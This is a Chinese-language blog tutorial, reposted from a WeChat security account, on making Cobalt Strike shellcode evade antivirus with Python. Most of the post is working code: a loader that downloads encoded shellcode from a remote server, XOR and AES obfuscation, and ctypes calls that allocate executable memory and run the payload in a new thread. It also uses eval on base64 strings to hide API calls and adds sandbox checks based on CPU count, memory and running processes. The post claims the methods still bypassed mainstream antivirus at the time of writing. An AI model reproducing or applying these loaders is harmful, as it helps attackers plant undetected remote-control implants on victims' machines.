一个新手的免杀之路

admin 2022年12月26日13:36:15程序逆向评论11 views4756字阅读15分51秒阅读模式

前言

本人本身总体学习时间3个月左右,而且本文是面向新手的一篇教程能快速和总结一些加密手法和代码,大佬勿喷。文章将主要以python语言从,加密手法,pythonctypes库调用及消除特征,反杀箱两个方面进行讲解。本文仅作为交流学习,切勿用于其他用途。

正文

加密手法

在网上很多公开资料大家应该都是看过的,免杀要做的一点就是要让杀软识别不出来我们是恶意的程序,要破坏特征码。本文由于是基础的教程所以统一采用cs生成shellcode的手法来注入内存实现免杀。

分离免杀

由于msfcs这些shellcode的特征码被各大厂商标记特征,所以我们免杀过程中尽量不把shellcode写死在加载器中。

最基础的是将cs生成的shellcode,进行base64的编码放到远程服务器上,然后再远程的调用解密,不过一般的杀软都会对采用加密的地方进行三次解密,所以我们再加密过程中都尽量用三次以上的加密

shellcode = urllib.request.urlopen('http://你的ip:端口/shellcode.txt').read()
shellcode = base64.b64decode(base64.b64decode(shellcode))
shellcode = bytes.fromhex(str(shellcode,'utf-8'))

异或加密

异或加密的一个特点就是计算量小,在混淆shellcdoe特征上是一个比较好的手法,不过基础的异或加密的一个特点就是解密的密钥不固定,这造成的问题是,如果长期使用一个密钥来加密,很可能被爆破出来得到加密的内容,这样免杀就凉凉,不过真到这一步的时候估计会已经先从你的md5值把你的木马卡擦掉了

string = "f" # 要异或的shellcode
key = 11  #你的密钥
def enc(string, key):
   result = ''
   for i in range(len(string)):
       result += chr(ord(string[i]) ^ key)
   return result
data = enc(string, key) #加密后的内容
print(data)


# 对异或后的字符串解密
# 还原的话很简单,在对加密结果异或一下就还原了
#print(enc(data, key)) #

shellcode = enc(data,key).encode() #调用的shellcode

AES ECB加密模式

一般的加密通常都是块加密,如果要加密超过块大小的数据,就需要涉及填充和链加密模式,本文对对称加密和分组加密中的几种种模式进行一一分析(ECBCBCCFBOFB,CTR)

ECB

优点:

简单;

有利于并行计算;

误差不会被传送;

缺点**:

不能隐藏明文的模式;

可能对明文进行主动攻击

CBC

优点:

·

o不容易主动攻击,安全性好于ECB,适合传输长度长的报文,SSLIPSec的标准。

缺点:

·

o不利于并行计算;

o误差传递;

o需要初始化向量IV

password = b'1234567812345678' #秘钥,b就是表示为bytes类型
text = b'' #需要加密的内容,bytes类型
aes = AES.new(password,AES.MODE_ECB) #创建一个aes对象
# AES.MODE_ECB 表示模式是ECB模式
en_text = aes.encrypt(text) #加密明文
den_text = aes.decrypt(en_text) # 解密密文
shellcode = den_text#调用的shellcode

关于ecb加密中有一个注意的点就是要将加密的内容做到16的整除才能使用,在不满足的情况下,需要将shellcode后面补充00

UUID加载

UUID是指在一台机器上生成的数字,它保证对在同一时空中的所有机器都是唯一的,在理论上来说只要能破坏特征的手法都能拿来免杀,uuid就不过多的再说明。不过在使用uuid的时候有一个坑,就是如果要用uuid,必须将python的环境调整为2.7.否则无法注入到内存。

小结

很多的加密,只需要在网上百度就能知道运作的原理,就能实现加密,不过公开手法基本都不免杀,需要自己做适当调整。不过加密的手法问一些做免杀的师傅都不推荐,因为会有此地无银三百两的味道,使用杀软也会对这种加密的看的很紧,不过更深入的还没学习,等后面学了更好的再分享给大家

CTYPES库的调用及消除特征

python里的ctypes的库是外部函数库。它提供了与 C语言兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。

shellcode注入到内存过程就需要用到这个库,来申请内存,移动内存,然后创建线程,这样就将shellcode注入到内存里

下面是一个常见流程的代码

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 #设置其为64位,如果不加则要将shellcode换成32
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) #申请内存
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode)) #移动内存
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0) #创建线程
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

一般来说,公开过的免杀手法都会失效,所以要将变得与众不同,常见的也是替换和加密。先说第一种手法--加密

加密

shellcode一样,要破坏特征让杀软识别不出来。我们以上面的代码为例,进行简单的base64加密,这里只是做一个简单的思路,在实战过程需要自己去更改加密手法来消除特征。也能用python pickle的反序列化来进行加密。

rwxpage = eval(base64.b64decode('Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCk='))
#rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)

替换

因为公开的代码被反复使用,所以,基本上大部分杀软识别到上面这种代码特征时就直接杀掉。经过fuzz的测试,我们可以知道,RtlMoveMemory这个移动内存是已经给用坏掉了。所以可以将移动内存的函数改为memcpycopymemoryRtlCopyMemory等来做免杀

下面是采用RtlCopyMemory的加载手法

scbytes = b'x90x90'

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) )

space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);

反沙箱

做免杀的时候会遇到一些问题,当你上线一台机子的时候,前面5-20分钟可能运行正常,后面会突然掉线,这个其实就是某数字之类的国内防护软件会将样本上传到自己的沙箱来看情况,如果判断出来是恶意程序就直接切断。下面介绍几种常见的反杀箱手法

获取cpu核心数

一般来说沙箱的虚拟机核心都较少所以,可以判断cpu的核心来判断是不是在沙箱环境

def get_cpu_cores():
   return psutil.cpu_count(True)

获取物理内存

一般来说沙箱的虚拟机内存都较少所以,可以判断内存来判断是不是在沙箱环境

import psutil

# 获取物理内存总大小
total_memory = psutil.virtual_memory().total

# 获取已使用的物理内存大小
used_memory = psutil.virtual_memory().used

检测QQ保护进程

这个来说算是一个骚思路,不过用的人也很多,一般虚拟环境都不会装qq

pop_list = popen("cmd /c tasklist").read()
def is_sandbox()
xxxxxxxxxxxxxxxxxxxx
def not_sandbox()
xxxxxxxxxxxx

   for i in pop_list.split('n'):
       if "QQProtect" in i:
           noinsandbox = 1

if(noinsandbox):
   not_sandbox()
else:
   is_sandbox()

小结

上面的方法有个问题,就是如果上传到微步这种云,很多查进程的行为其实是敏感行为,但是我们的主要目的还是过杀软的沙箱环境,所以不用怕。

 

总结

没有永久的免杀手法,不过免杀不免的时候,基本小改一下就会接着免杀,这就能分辨出,到底是脚本小子,还是学习的人。

python有个问题,pyinstaller的打包文件被某绒看的很紧,这种情况下最好更换打包器,或者是给木马加壳,某绒应该算是最好过的软件了。

关于特征,不只是shellcode的特征码,包括becon通信,流量都被看的很紧,所以尽量选择二开cs,自己的远控这些是最好选择

上面手法的运用在2022.12.24日还是能过国内主流防护软件。

 

一个新手的免杀之路

 

一个新手的免杀之路

一个新手的免杀之路


原文始发于微信公众号(Th0r安全):一个新手的免杀之路

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月26日13:36:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  一个新手的免杀之路 http://cn-sec.com/archives/1481421.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: